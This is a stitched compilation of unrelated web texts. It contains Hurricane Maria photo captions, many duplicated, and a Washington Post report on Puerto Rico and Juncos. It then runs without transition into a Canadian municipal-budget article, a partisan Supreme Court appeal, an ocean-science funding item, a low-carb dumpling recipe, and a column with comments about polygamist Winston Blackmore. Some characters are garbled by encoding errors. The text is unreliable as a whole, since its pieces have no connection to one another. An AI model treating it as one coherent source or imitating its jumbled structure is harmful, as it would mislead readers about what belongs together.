Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. San Juan September 20, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) Concrete power line poles lies on a highway after the area was hit by Hurricane Maria in Luquillo, Puerto Rico on September 20, 2017. Maria made landfall on Puerto Rico, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images A woman pulls a trash can past a destroyed home as Hurricane Maria hits Puerto Rico in Fajardo, on September 20, 2017. Maria made landfall on Puerto Rico, pummeling the US territory after already killing at least two people on its passage through the Caribbean. The US National Hurricane Center warned of "large and destructive waves" as Maria came ashore near Yabucoa on the southeast coast. / AFP PHOTO / Ricardo ARDUENGORICARDO ARDUENGO/AFP/Getty Images Residents of San Juan, Puerto Rico, deal with damages to their homes on September 20, 2017, as Hurricane Maria batters the island. Maria slammed into Puerto Rico on Wednesday, cutting power on most of the US territory as terrified residents hunkered down in the face of the island's worst storm in living memory. After leaving a deadly trail of destruction on a string of smaller Caribbean islands, Maria made landfall on Puerto Rico's southeast coast around daybreak, packing winds of around 150mph (240kph). / AFP PHOTO / Hector RETAMALHECTOR RETAMAL/AFP/Getty Images CORRECTS DAY OF WEEK TO WEDNESDAY FROM TUESDAY - Rescue team members Candida Lozada, left, and Stephanie Rivera, second from left, Mary Rodriguez, second from right, and Zuly Ruiz, right, embrace as they wait to assist in the aftermath of Hurricane Maria in Humacao, Puerto Rico, Wednesday, Sept. 20, 2017. (AP Photo/Carlos Giusti) TOPSHOT - A picture shows the ocean on September 18, 2017, in Basse-Terre, on the Fench Caribbean island of Guadeloupe, as Hurricane Maria approaches the Caribbean. Hurricane Maria strengthened rapidly on September 18 as it blasted towards the eastern Caribbean, forcing exhausted islanders -- still recovering from megastorm Irma -- to brace for the worst again. The US National Hurricane Center (NHC) said the "major hurricane" had intensified to Category 3 as it approached the French island of Guadeloupe, the base for relief operations for several islands devastated by Irma this month. / AFP PHOTO / Cedrick Isham CALVADOSCEDRICK ISHAM CALVADOS/AFP/Getty Images TOPSHOT - A man and a boy nail a board over a window on September 18, 2017, in Trois-Rivieres, on the Fench Caribbean island of Guadeloupe, as Hurricane Maria approaches the Caribbean. Hurricane Maria strengthened rapidly on September 18 as it blasted towards the eastern Caribbean, forcing exhausted islanders -- still recovering from megastorm Irma -- to brace for the worst again. The US National Hurricane Center (NHC) said the "major hurricane" had intensified to Category 3 as it approached the French island of Guadeloupe, the base for relief operations for several islands devastated by Irma this month. / AFP PHOTO / Cedrick Isham CALVADOSCEDRICK ISHAM CALVADOS/AFP/Getty Images A picture taken on September 19, 2017 shows the powerful winds and rains of hurricane Maria battering the city of Petit-Bourg on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Cedrik-Isham CalvadosCEDRIK-ISHAM CALVADOS/AFP/Getty Images A picture taken on September 19, 2017 shows the powerful winds and rains of hurricane Maria battering the city of Petit-Bourg on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Cedrik-Isham CalvadosCEDRIK-ISHAM CALVADOS/AFP/Getty Images A picture taken on September 19, 2017 shows the powerful winds and rains of hurricane Maria battering the city of Petit-Bourg on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Cedrik-Isham CalvadosCEDRIK-ISHAM CALVADOS/AFP/Getty Images A picture taken on September 19, 2017 shows the powerful winds and rains of hurricane Maria battering the city of Petit-Bourg on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Cedrik-Isham CalvadosCEDRIK-ISHAM CALVADOS/AFP/Getty Images A picture taken on September 19, 2017 shows the powerful winds and rains of hurricane Maria battering the city of Petit-Bourg on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Cedrik-Isham CalvadosCEDRIK-ISHAM CALVADOS/AFP/Getty Images Debris lies on a flooded seafront after the passage of Hurricane Maria in Basse-Terre, Guadeloupe island, France, September 19, 2017. REUTERS/Andres Martinez Casares This handout picture obtained from a video released on September 19, 2017, on the Twitter account of Yves Thole shows a flooded street in Pointe-a-Pitre after the powerful winds and rain of hurricane Maria battered the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / TWITTER / Yves THOLE / RESTRICTED TO EDITORIAL USE - MANDATORY CREDIT "AFP PHOTO / TWITTER / YVES THOLE" - NO MARKETING NO ADVERTISING CAMPAIGNS - DISTRIBUTED AS A SERVICE TO CLIENTS YVES THOLE/AFP/Getty Images This handout picture obtained from a video released on September 19, 2017, on the twitter account of the Prefecture de Guadeloupe shows the powerful winds and rain of hurricane Maria battering the south of Basse Terre on the French overseas Caribbean island of Guadeloupe. Hurricane Maria strengthened into a "potentially catastrophic" Category Five storm as it barrelled into eastern Caribbean islands still reeling from Irma, forcing residents to evacuate in powerful winds and lashing rain. / AFP PHOTO / Prefecture de Guadeloupe AND TWITTER / STRINGER / RESTRICTED TO EDITORIAL USE - MANDATORY CREDIT "AFP PHOTO / TWITTER / PREFECTURE DE GUADELOUPE" - NO MARKETING NO ADVERTISING CAMPAIGNS - DISTRIBUTED AS A SERVICE TO CLIENTS STRINGER/AFP/Getty Images A motorist drives on the flooded waterfront in Fort-de-France, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Hurricane Maria smashed into the eastern Caribbean island of Dominica on September 19, with its prime minister describing devastating damage as winds and rain from the storm also hit territories still reeling from Irma. Martinique, a French island south of Dominica, suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images People clear debris in Saint-Pierre, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Martinique suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A man clears debris from a street in Saint-Pierre, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Martinique suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A resident stands at her doorstep as she looks at strong waves in Saint-Pierre, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Martinique suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A picture shows strong waves along the coastline in Le Carbet, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Hurricane Maria smashed into the eastern Caribbean island of Dominica on September 19, with its prime minister describing devastating damage as winds and rain from the storm also hit territories still reeling from Irma. Martinique, a French island south of Dominica, suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A man walk next to debris on a beach in Le Carbet, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Hurricane Maria smashed into the eastern Caribbean island of Dominica on September 19, with its prime minister describing devastating damage as winds and rain from the storm also hit territories still reeling from Irma. Martinique, a French island south of Dominica, suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A picture shows damages at a restaurant in Le Carbet, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Hurricane Maria smashed into the eastern Caribbean island of Dominica on September 19, with its prime minister describing devastating damage as winds and rain from the storm also hit territories still reeling from Irma. Martinique, a French island south of Dominica, suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images A picture shows rocks swept by strong waves onto a road in Le Carbet, on the French Caribbean island of Martinique, after it was hit by Hurricane Maria, on September 19, 2017. Hurricane Maria smashed into the eastern Caribbean island of Dominica on September 19, with its prime minister describing devastating damage as winds and rain from the storm also hit territories still reeling from Irma. Martinique, a French island south of Dominica, suffered power outages but avoided major damage. / AFP PHOTO / Lionel CHAMOISEAULIONEL CHAMOISEAU/AFP/Getty Images This photo provided by the British Royal Navy shows the destruction after Hurricane Irma, in Virgin Gorda, British Virgin Islands, Tuesday, Sept. 19, 2017. Forecasters warned Hurricane Maria would remain a Category 4 or 5 storm until it moves over the Virgin Islands and Puerto Rico. The storm's hurricane-force winds extended out about 35 miles (45 kilometers) and tropical storm-force winds out as far as 125 miles (205 kilometers). Hurricane warnings were posted for the U.S. and British Virgin Islands, Puerto Rico, Guadeloupe, Dominica, St. Kitts, Nevis and Montserrat. (Joel Rouse/Royal Navy via AP) LOIZA, PUERTO RICO ? SEPTEMBER 19: An employee of hardware store board up the windows and doors of the store. September 19, 2017. Puerto Rico gets ready for the arrival of Hurricane Maria, a major category hurricane. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 19: A man walks in front of a boarded up restaurant in the San Juan neighborhood of Miramar. San Juan September 19, 2017. Puerto Rico gets ready for the arrival of Hurricane Maria, a major category hurricane. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 19: Mr. Valent�n, a local lottery vendor sits in front of the hurricane shutters of a local supermarket in San Juan September 19, 2017. Puerto Rico gets ready for the arrival of Hurricane Maria, a major category hurricane. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 19: Empty water shelves at local supermarket in San Juan, September 19, 2017. Puerto Rico gets ready for the arrival of Hurricane Maria, a major category hurricane. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 19: More than 500 residents of San Juan are been refuged at Roberto Clemente Coliseum, the biggest shelter in the island. Hurricane Irma is been expected over this night and tomorrow?s early morning. San Juan September 19, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) SAN JUAN, PUERTO RICO ? SEPTEMBER 19: SAN JUAN, PUERTO RICO ? SEPTEMBER 19: Hurricane Maria's first wind gust are been expected late this night and tomorrow?s early morning. Heavy Storm surge are expected in San Juan's north shore. September 19, 2017. (Photo by Dennis M. Rivera Pichardo for The Washington Post) A man and his daughter flee from the rain on a beach in San Juan, Puerto Rico, on September 19, 2017, prior to the arrival of Hurricane Maria. Maria headed towards the Virgin Islands and Puerto Rico after battering the eastern Caribbean island of Dominica, with the US National Hurricane Center warning of a "potentially catastrophic" impact. / AFP PHOTO / HECTOR RETAMALHECTOR RETAMAL/AFP/Getty Images Damaged homes from Hurricane Maria are shown in this aerial photo over the island of Dominica, September 19, 2017. Photo taken September 19, 2017. Courtesy Nigel R. Browne/Caribbean Emergency Management Agency/Regional Security System/Handout via REUTERS ATTENTION EDITORS - THIS IMAGE WAS PROVIDED BY A THIRD PARTY epa06213136 A handout photo made available by the British Ministry of Defence (MOD) on 19 September 2017 shows local residents queuing for aid, on the British Virgin Islands, 18 September 2017. Royal Marines from 40 Commando have been ensuring aid reaches people across the island before Storm Maria arrives. Hurricane Maria, upgraded to Category 5 storm, has rapidly intensified according to the US National Hurricane Center (NHC). EPA-EFE/LPhot Joel Rouse / HANDOUT MANDATORY CREDIT: CROWN COPYRIGHT HANDOUT EDITORIAL USE ONLY/NO SALES epa06213140 A handout photo made available by the British Ministry of Defence (MOD) on 19 September 2017 shows the team of Royal Marines and staff from Social Services Relief organising aid for distribution, on the British Virgin Islands, 18 September 2017. Royal Marines from 40 Commando have been ensuring aid reaches people across the island before Storm Maria arrives. Hurricane Maria, upgraded to Category 5 storm, has rapidly intensified according to the US National Hurricane Center (NHC). EPA-EFE/LPhot Joel Rouse / HANDOUT MANDATORY CREDIT: CROWN COPYRIGHT HANDOUT EDITORIAL USE ONLY/NO SALES epa06213138 A handout photo made available by the British Ministry of Defence (MOD) on 19 September 2017 shows 40 Commando Assault Engineers boarding up windows at Road Town Police Station in preparation for Storm Maria, on the British Virgin Islands, 18 September 2017. Royal Marines from 40 Commando have been ensuring aid reaches people across the island before Storm Maria arrives. Hurricane Maria, upgraded to Category 5 storm, has rapidly intensified according to the US National Hurricane Center (NHC). EPA-EFE/LPhot Joel Rouse / HANDOUT MANDATORY CREDIT: CROWN COPYRIGHT HANDOUT EDITORIAL USE ONLY/NO SALES Crewmen brace themselves from the propeller wash of a Marine Corps MV-22B Osprey departing the aboard the USS Kearsarge as U.S. military continues to evacuate from the U.S. Virgin Islands in advance of Hurricane Maria, in the Caribbean Sea near the islands September 18, 2017. REUTERS/Jonathan Drake TPX IMAGES OF THE DAY
Photo Gallery: The storm has left widespread destruction along its path, including some areas battered earlier by the huge Hurricane Irma.
For many residents, the challenge of accessing the essentials of modern life — gasoline, cash, food, water — began to sink in. And government officials had no answers for them. Estimates for the return of electricity and basic services will be measured not in days but in weeks and months. For those most vulnerable, far too long.
Many have been openly wondering when help will arrive, whether from local officials or from the federal government. The first thing some people ask when they see outsiders: "Are you FEMA?"
Puerto Rico Gov. Ricardo Rosselló is warning that his government needs broader assistance from the federal government, calling on the Pentagon especially to provide more aid for law enforcement and transportation. Rosselló said he's also worried that Congress will shortchange his island once the initial wave of emergency relief is gone.
"We still need some more help. This is clearly a critical disaster in Puerto Rico," he said Sunday night. "It can't be minimized and we can't start overlooking us now that the storm passed, because the danger lurks."
Related: [Puerto Rico governor: ‘We still need some more help’ from Washington]
For federal agencies trying to respond to Maria, the situation in Puerto Rico and the U.S. Virgin Islands is inescapably more challenging than the situations in Texas and Florida after hurricanes Harvey and Irma. It's difficult to get onto the islands.
The airports and harbors here were severely damaged. That means the islands are more isolated than ever, even as the humanitarian crisis has worsened by the day.
So although massive amounts of food, water, fuel and other supplies have been dispatched by federal agencies and private organizations, with more resources on the way, this has been an obstacle-filled process.
Federal agencies have succeeded in clearing the use of the Port of San Juan for daytime operations, but other ports remain closed pending inspections. Many roads are blocked, inhibiting relief convoys. The Transportation Department has opened five airports in Puerto Rico and two in the U.S. Virgin Islands, but only for military and relief efforts.
Six commercial cargo ships have delivered supplies including food, water and generators to the Caribbean islands, and more supplies are on the way by ship from Florida and by air from Florida and Kentucky. Among the provisions: The Defense Logistics Agency is sending 124,000 gallons of diesel fuel to Puerto Rico.
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Mayor Carmen Yulín Cruz recounts the many struggles Puerto Rico's capital city is facing as it tries to regain its footing after Hurricane Maria. (Claritza Jimenez/The Washington Post)
In addition to concerns about basic survival, on the west side of the island worries have intensified about a ruptured dam that has been tenuously holding back the waters of Lake Guajataca. Government officials said Sunday that the "fissure" in the dam is "large and will collapse at any time." Throngs of residents in nearby towns have been urged to evacuate. The dam's failure could lead to massive amounts of water flowing unabated through coastal communities.
In Juncos, scores of homes were destroyed, and thousands of homes sustained damage, Mayor Alfredo Alejandro estimated. Four highways are inaccessible by car, and two bridges were harmed. Roofs of homes all over town are gone, and almost all government buildings were damaged.
Mountains typically brimming with trees and other vegetation are brown and desolate, stripped of all greenery. The mayor of 17 years said he discovered a river he never knew existed in his town, because it was always overgrown with plants. Curved bamboo lining the winding roads were left as bare sticks.
Less than a week ago, Alejandro said, "I had a pretty town."
"Today I have a desert," he said.
Puerto Rico's executive director of emergency management said in an interview that aerial views of destruction in this region looked "more like a tornado than a hurricane."
But Maria's destruction in the town was just the beginning. The mayor said Juncos "anxiously" needs diesel, water, hospital equipment and satellite phones for local leadership.
Some local responders in Juncos were forced to clear area streets by hand with machetes, because the town doesn't have enough chain saws.
A man walks from Juncos to a nearby town in search of gasoline. (DENNIS M. RIVERA PICHARDO/For The Washington Post)
Just two gas stations were functioning in the town, and lines stretched for more than half a mile. Some people walked and rode bicycles for miles with empty gas canisters in hand.
One of the town's two supermarkets was open Sunday, and employees would let in only 10 people at a time to avoid chaos. Residents, who stood in line for hours, could purchase only rationed food. There is no functioning bank or cash machine in the entire municipality.
When Aldea, 37, and her 5-year-old daughter walked through her shell of a home in Juncos after the hurricane had passed, the child hardly said a word. She scoured her pink room, with pony stickers on its walls, and picked out a couple of soaked dolls and coloring books.
"We don't have a house anymore," Aldea explained to her daughter, Darangellie. "We're going to have to start new with what we have."
A destroyed group of houses in Juncos. (DENNIS M. RIVERA PICHARDO/For The Washington Post)
Aldea, who works as a secretary in the mayor's office, is living with and taking care of her mother in the tiny room downstairs. Darangellie spends most of the days with a relative in town, but at night she sleeps with her mother. The child has asthma and needs to use a daily nebulizer treatment — requiring her mother to turn on their generator at night. They have enough diesel to power the generator for one more day.
But Aldea remained calm. More than anything, she is thankful to be alive: "If I don't stay strong, how can I take care of the two people who depend on me?"
The house of Maribel Quiñones Rivera and her family was left in ruins. (DENNIS M. RIVERA PICHARDO/For The Washington Post)
Across town, a second-level three-bedroom apartment was ripped to shreds in the storm, the cooking appliances, kitchen counters and cabinets the only surviving evidence of the wooden structure.
Maribel Quiñones Rivera, 53, lived with her husband in the home for decades, raising her children and grandchildren there. During the hurricane and in the days that followed, she sought shelter with relatives in their apartment directly below.
On Sunday, she still hadn't walked upstairs to see the debris up close. When asked why, she shook her head and cried. "I can't," she said.
There are some moments of hope amid the misery in Juncos. On Sunday, about 30 people gathered in a small blue church for Mass. The priest apologized for the lack of a microphone and said the service would be brief.
Aida Sanchez, a member of the congregation, said she came to thank God.
"Because despite the circumstances," she said, "we're alive."
JUNCOS PUERTO RICO ? SEPTEMBER 24: Sunday mass at San Juan Bautista Church at Valencia Arriba, Juncos. The mountain town of Juncos is one of the most affected after the pass of Hurricane Mar�a. Hurricane Maria passed through Puerto Rico leaving behind a path of destruction across the national territory. (Photo by Dennis M. Rivera Pichardo for The Washington Post)
Achenbach reported from Washington. Daniel Cassady in San Juan and Ed O'Keefe in Washington contributed to this report.
Samantha Schmidt is a reporter covering gender and family issues.
Joel Achenbach covers science and politics for the National desk. He has been a staff writer for The Post since 1990.
Go ahead, try this out: check the budget your city council approved in 2012, and see how it compares with spending reported at the end of the year.
The way they are typically presented is simply too confusing for most citizens, and might even serve as a barrier to approving big spending projects, contend the report authors Benjamin Dachis and Bill Robson.
Titled “Baffling Budgets: Canada’s Cities Need Better Financial Reporting,” the paper argues that different accounting methods used for budgets and year-end fiscal reports mean efforts to compare the two would “baffle any but the most expert reader.”
On top of that, once the numbers are crunched, their report reveals big differences between budgeted and actual spending, with some GTA municipalities proving to be the most inaccurate budgeters of Canada’s 24 biggest cities.
“The budget process is almost meaningless because, when we see the (year-end) numbers, they could be out by this crazy variance,” said Robson, C.D. Howe president, speaking to the Star’s editorial board Tuesday.
Coming in dead last for budgeting accuracy from 2003 to 2012 was Halton Region, which missed spending projections by an average of 22 per cent, according to the report. Vaughan and Brampton were second and third last respectively, missing spending targets by 19.9 and 18.7 per cent.
Others fared better, including Durham Region, Mississauga and Hamilton, all of which posted less than 10 per cent spending inaccuracy. The City of Toronto ranked most accurate in the report, with projections missing their mark by an average 3.7 per cent.
But even so, Toronto’s results would rank eighth if the report included Ottawa and the provinces and territories, the authors state. “It’s nothing to brag about,” said Dachis, a C.D. Howe senior policy analyst.
In light of these discrepancies, Dachis and Robson argue Canada’s cities should put together their budget projections using the same “accrual accounting” method as they do for year-end fiscal statements.
The provinces and federal government already do so, but most cities currently use “cash budgeting” when they map out their spending. This method displays big items like infrastructure projects with large upfront costs, instead of breaking them down in annual chunks over the years it takes to pay for them.
Dachis and Robson argue that part of the reason these different accounting methods are problematic is because they contribute to the reported surpluses at the end of the year. The “cash” method exaggerates costs up front, while, in year-end reports, those costs are measured over several years, meaning big items will appear less expensive at year’s end.
This means cities might be collecting more revenue — through measures like property taxes and user fees — than the value of their services, the report states.
Another consequence of inconsistent accounting is on infrastructure spending. Dachis and Robson argue it’s likely the “cash” accounting method’s high upfront costs for big spending items — like new streetcars and subway tracks or a sewage system upgrade — encourages cities to raise revenues up front to finance such projects. This puts a disproportionate burden on the present-day tax base that could deter governments from signing off on large-scale — but potentially necessary — infrastructure developments, they contend.
“We do think it’s discouraging capital investment,” Dachis said.
“It’s treating a 50-year infrastructure project the same as you would a cup of coffee,” Robson added.
“No sensible organization does that.”
GTHA cities budget accuracy between 2003 and 2012
(Percentages represent the average yearly difference between the city budgets and the money actually spent over the 10-year time frame)
Toronto: 3.7 per cent
Durham Region: 5.9 per cent
Hamilton: 7 per cent
Mississauga: 9.5 per cent
York Region: 12.6 per cent
Markham: 12.7 per cent
Peel Region: 13.7 per cent
Brampton: 18.7 per cent
Vaughan: 19.9 per cent
With 259 days to go until the presidential election, tonight I am going to skip over 258 reasons to vote and tell you the number one reason to vote for president of the United States. … [T]he number one reason to vote is the same number one reason you always have to vote for president. The Supreme Court of the United States. The president chooses justices for the Supreme Court subject to confirmation by the Senate. Choosing a Supreme Court justice is the most momentous decision a president can make. Supreme court justices stay in power longer than any war we have waged. They can stay there for the rest of their lives if they choose. They are the final arbiters of fairness and justice in our society.
No matter what issue you care about – immigration, job discrimination, consumer protection, LGBT equality, religious liberty, healthcare, reproductive rights, you name it – lawsuits about it will end up before the Supreme Court. Under the Roberts Court – the legacy of George W. Bush – that often means that legislative acts passed to protect the rights of individuals will be severely undercut or eliminated altogether. Just ask Lilly Ledbetter.
President Obama has shown us the kind of Justice he would nominate in a second term: jurists like Sonia Sotomayor and Elena Kagan, who have both distinguished themselves on the court for their commitment to individual rights, the Constitution, and the rule of law.
In contrast, Mitt Romney has selected rejected Supreme Court nominee Robert Bork to chair the committee advising him on the Constitution and judicial matters. And Rick Santorum has made clear his admiration for Chief Justice Roberts and Justices Scalia, Alito, and Thomas, while making it clear that the conservative Anthony Kennedy is not conservative enough for him. So we know the type of Justices they would nominate if they have the opportunity.
U.S. Sens. Susan Collins and Angus King say the award will fund a Bigelow Laboratory for Ocean Sciences project about Sub-Antarctic Mode Water, which is an important water mass.
The senators say Sub-Antarctic Mode Water begins as cold surface water in the southern Indian Ocean, sinks to about 500 meters and travels for thousands of miles before resurfacing near the equator. The water mass is vitally important to plant and microbial life.
When you can’t have flour, it’s really really hard to make dumplings that will hold together during cooking. I’ve used almond flour, coconut flour, flax meal and a variety of alternate flours. You name it and I’ve probably tried that alternate flour to make a dumpling. This is no easy low-carb feat. I wanted a similar taste and similar mouth feel as the dumplings I made before my low-carbing days. All attempts thus far have been mediocre, at best.
Somewhere on the net a year or so ago, on some forum (probably Low Carb Friends, but not sure), someone mentioned they made dumplings with glucomannan powder. Not being at all familiar with this product, I ordered some from Netrition.com and began to experiment. Its gel-like, fibrous qualities lend themselves to a dumpling, providing structure and texture. It is also useful for thickening gravies, sauces and puddings. I’ve even found a tad of this stuff enhances low-carb cake, cookie and bread baking results, both in volume and texture. I’d love to give credit to my inspiration on this recipe, but I must admit I failed to write down the name of the person who’s ingenious idea this really was. But I’m thankful they triggered off some experimentation that has paid off!
If you’re not familiar with glucomannan powder, it comes from the Konjac tuber, and is used to make shirataki noodles seen in Asian menus. It can be used as a binding agent in some recipes. It is virtually a zero carb food, in that the fiber content is so high, it virtually negates the few carbs it contains as fiber is indigestible and passes right out of the system with zero blood sugar impact. Most importantly, glucomannan adds the structure and elasticity needed for dumplings and noodles. So I began experimenting.
I’m getting more comfortable using this tricky ingredient and have finally come up with a “dumpling” that feels and almost tastes like my dumplings of old. This will now be my go-to low-carb dumpling recipe. As you can see in the pic above, they hold together nicely during very gentle simmering (unlike all previous attempts), and the gluc powder also slightly releases in to the broth to thicken it as well! NICE!
For you “experimenters” under no circumstances, increase the oat fiber!! I did once and they came out just awful, hard as a rock plus they did not absorb any flavor from the chicken broth because of the density. Trust me, you DON’T want to go there! This balance of ingredients it really pretty special and all attemps to “improve” them have been less impressive.
These were the best low-carb chicken and dumplings I’ve had in 4 years! My husband gave these dumplings two thumbs up today, and he’s pretty picky. They don’t have much taste, but pick up the flavor of whatever broth you cook them in. The carb count for these dumplings is simply amazing! Guilt free dumplings at last!! YAAAAAAY!
The recipe posted elsewhere on my site for chicken and dumplings is good, don’t get me wrong. But you have to bake the rolls separately for that recipe. With this dumpling recipe, I can stir the ingredients together, drop them into the broth, and the dumplings are simmering immediately! Much easier! And you regular readers know I’m really in to EASY cooking.
These made up smaller work nicely in soups and I have made small, oblong shapes for marvelous gnocchi served in rich cream sauces. Some more adventurous cooks at Low Carb Friends forums are even using pasta extruders and coming up with all kinds of noodle shapes for this dough! But I don’t own an extruder and probably wouldn’t go to that much trouble for noodles. Just being very honest. I’m a lazy cook. 🙂
These dumplings are not suitable until the grains rung of the Atkins OWL ladder due to the oat fiber, but omitting it is just not an option for good results. I’m very proud to have developed a dumpling recipe that many who have tried freely admit fills a dumpling/noodle void in their low-carb lifestyles. 🙂
My Lobster Linguine recipe is the first time I tried rolling and cutting it into noodles and the final dish was quite good.
This recipe isn’t 100% gluten-free. But you’ll find many other tasty and easy to cook recipes in her cookbooks. Any hostess would be happy to serve any of these recipes to family or guests. Click here for a photo preview of some of those tasty dishes here: LCAF Cookbook Facebook Page. Order your 5-volume set TODAY! (also available individually) from Amazon or: here
INGREDIENTS:
3/4 tsp. baking powder
1½ T. glucomannan powder (Konjac powder)
1½ T. oat fiber (For gluten-free version, try substituting oat flour ground from 100% gluten-free oats, but I’m not making any promises that will work. It SHOULD, however. Carbs will be only slightly higher.)
1/8 tsp. salt
¼ c. +2 T. water
1 extra large or jumbo egg, beaten
VARIATION: Add 1-2 T. finely chopped parsley to the dry ingredients
DIRECTIONS: Beat the egg in a small bowl with a fork. Add the water and beat until well blended. On a paper plate or in another bowl, mix the dry ingredients well. Slowly sprinkle the dry ingredients into the wet, stirring with a fork or whisk. Switching to a rubber spatula, stir and begin to fold the slowly thickening mixture over and over itself until it is a contiguous batter and eventually turns into a thick, almost dry dough. I let mine sit by the stove 2-3 minutes. Then, using a teaspoon, dip 3/4″-1″ dollops of the dough into your palm. This step is important: roll them gently in your palms into a ball shape. I set the balls on my counter or a silicone sheet until all are made. If you just drop them directly into the broth from the spoon without rolling, they tend to fall apart in the broth during cooking. Or using your hands, roll the dough into ropes on plastic wrap and cut into short lengths for gnocchi, if that’s your pleasure.
I like to remove chicken, meat or large chunks of vegetables to a platter before putting on the dumplings to cook. This allows ample room for the dumplings to rise and swell up.Have your soup/broth boiling. Drop the round dumplings/gnocchi into slowly simmering broth and immediately turn fire medium-low so it will only gently simmer. This is IMPORTANT, as you don’t want to “rough up” these delicate babies. Cover with tight lid. From the time you cover the pot, set timer for exactly 10 minutes for dumplings (8 minutes for smaller gnocchi). DO NOT LIFT THE LID or disturb the pot during cooking. After 10 minutes (8 minutes for gnocchi), lift the lid and VOILA!! They’re done! You may have to thicken the stock further depending on your personal preference, but the dumplings themselves usually take care of thickening, as some of the glucomannan in then sloughs off into the broth, thickening it right up.
NUTRITIONAL INFO: Makes 12 medium-large 1½” dumplings (24 gnocchi), each contains: (halve the numbers for each gnocchi)
Blackmore, who is awaiting trial on a single criminal charge of polygamy, has 133 children ranging in age from babies to adults.
For every child under the age of six, Canadian parents received $520, and for every child aged seven to 18, they received $420, with no restrictions on how the money could be spent.
Using the best information available from several sources, the 58-year-old fundamentalist Mormon leader has as many as 98 children who are 18 or younger, and as many as 20 of those are seven and younger.
What makes it easier to determine the Blackmore children’s ages is that his offspring were often given names that started with a specific letter of the alphabet depending on which year they were born. There was the year when most (if not all) had names starting with O. Other years, there were the Rs, the Ms, the Ns, the Ps, followed by the As, then the Ws (although, surprisingly, no Winston), the Ss and the Hs.
Do the arithmetic of 20 children under seven and 78 between the ages of seven and 18 and it adds up to a $43,160 payday for Blackmore and his wives.
Of course, the childcare benefit is taxable. But the Conservative government has also introduced income splitting for families.
Even for conventional families with only two parents, it is difficult to estimate the dollar value of that benefit. But there is no reason to believe that Blackmore would not be able to take full advantage of sharing the tax burden among his wives.
And heaven knows, Blackmore has no shortage of wives. There were 24 listed on his indictment on the polygamy charge.
All of which could add up to another big mess for the folks at the Canada Revenue Agency to sort out the hows and what-ifs of income-splitting in this family.
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I have news for Ms. Bramham: The B.C. Supreme Court’s decision on polygamous marriage was a complete joke and anyone, who understands the law and the constitution knows it.
I know that my opinion is not popular but it is nevertheless a fact that people are going to have to face sooner or later.
The prohibition on polygamous marriage in this country is unconstitutional and it will be struck down as soon as this case reaches the Supreme Court of Canada. There is no doubt about it.
The government has no business at all interfering in private romantic relationships between consenting adults, much less criminalizing such relationships. — The Awful Truth
Child Care Benefit is simply another waste of Canadian taxpayers money brought to us by the government that is responsible for 1/3 of our national debt.
It is frightening to imagine that there is anyone alive who can still swallow the “best steward of the economy” mantra. Greed and ignorance truly do rule the day. — eddieo
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It was only last September that the Federal Court of Appeal finally ended Blackmore’s long-running tax case. The unanimous decision was that Blackmore had understated his income by approximately $1.8 million over a six-year period that began in 2000. In one year alone, a Federal Tax Court judge said Blackmore understated his income and benefits by an “astronomical” 1,326 per cent.
Both the tax court and the appeal court rejected Blackmore’s contention that he and his congregation of close to 500 people (mostly family) were eligible to be taxed as a commune.
